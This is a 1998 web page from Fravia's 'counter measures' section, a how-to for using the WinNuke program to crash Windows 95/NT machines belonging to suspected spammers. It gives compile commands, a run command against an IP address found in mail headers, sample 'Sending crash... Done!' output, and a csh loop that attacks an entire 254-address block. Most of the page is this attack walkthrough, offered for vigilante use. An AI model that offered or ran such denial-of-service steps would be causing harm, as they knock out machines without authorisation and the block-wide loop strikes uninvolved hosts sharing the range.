C O U M E S	fravia's counter measures page Fravia's Nofrill Web design (1998)		updated July 1998	Fravia's Counter measures Learn how to defend yourself (Some useful tricks) ~ Applets killers | Fake identities | Homepages low capering | Enemy studying | Spammers nuking | Powersearching

"...these days, on the Web, you'll never be too careful,

travel always through your cloack identities and with your 

applets killer on, keep your cache empty, watch out for cookies 

and do not bump too oft on wizard sites... Work well, +ORC"

How to use WinNuke to get rid of spammers





winnuke.c is a program which will crash any Windows 95/NT machine.  Since

this operating system is popular among spammers, winnuke makes it easy to

get rid of them.



First, take the program code from the bottom of this post (everything

after the ---Cut Here--- line) and save it to a text file called winnuke.c

on your shell account or Linux box.



Now compile it by typing:

     gcc winnuke.c -o winnuke

If you have SunOS, you may need to use this command instead:

     gcc winnuke.c -lsocket -lnsl -o winnuke



You should now have an executable program called winnuke in your directory.

Now find the spammer's IP number.  This is the first IP number in the mail

headers which is not your mail server or mail relay.  Once you have the

spammer's IP number (eg 192.168.12.109) type: ./winnuke 192.168.12.109

except use the spammer's real IP number that you found.  You should see

something like the following:



% ./winnuke 192.168.12.109

Connected to [192.168.12.109:139].

Sending crash... Done!

% 



Congratulations!  You just nuked a spammer!  Give yourself a pat on the

back.  You can ping the IP address to verify that it is actually down.



If it doesn't work...

Unfortunately a few spammers don't have just one IP address but a whole

block (255 addresses)  In this case you will need to nuke the entire block.

To do this, use this script:



#!/bin/csh

@ number = 255

loop:

@ number = $number - 1

./winnuke 205.199.212.$number &

#sleep 1

if ($number > 1) then

  goto loop

endif



Except you should use the first three bytes of the spammer's IP number

instead of 205.199.212.  If your net connection is too slow, uncomment the

sleep command (line 6) and that will slow it down so it can get all the

packets out.  That's it...